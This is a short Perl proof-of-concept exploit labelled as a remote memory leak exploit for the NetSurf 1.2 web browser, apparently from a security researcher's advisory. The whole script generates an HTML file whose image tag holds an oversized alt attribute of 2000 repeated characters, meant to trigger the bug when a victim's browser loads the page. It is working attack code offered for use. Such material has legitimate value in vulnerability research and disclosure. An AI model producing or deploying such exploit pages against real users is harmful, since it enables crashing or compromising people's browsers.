|
#!/usr/bin/perl
# netsurf_imgsrc_ml.pl
# Netsurf 1.2 Remote Memory Leak Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Adv Ref: netsurf_multiple_adv.txt
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n";
}
$head = "<html>" . "\n";
$trig = "<img src=\"test.jpg\" alt= \"" . "A" x 2000 . "\">" . "\n";
$foot = "</html>";
$data = $head . $trig . $foot;
open(FILE, '>' . $filename);
print FILE $data;
close(FILE);
exit;
|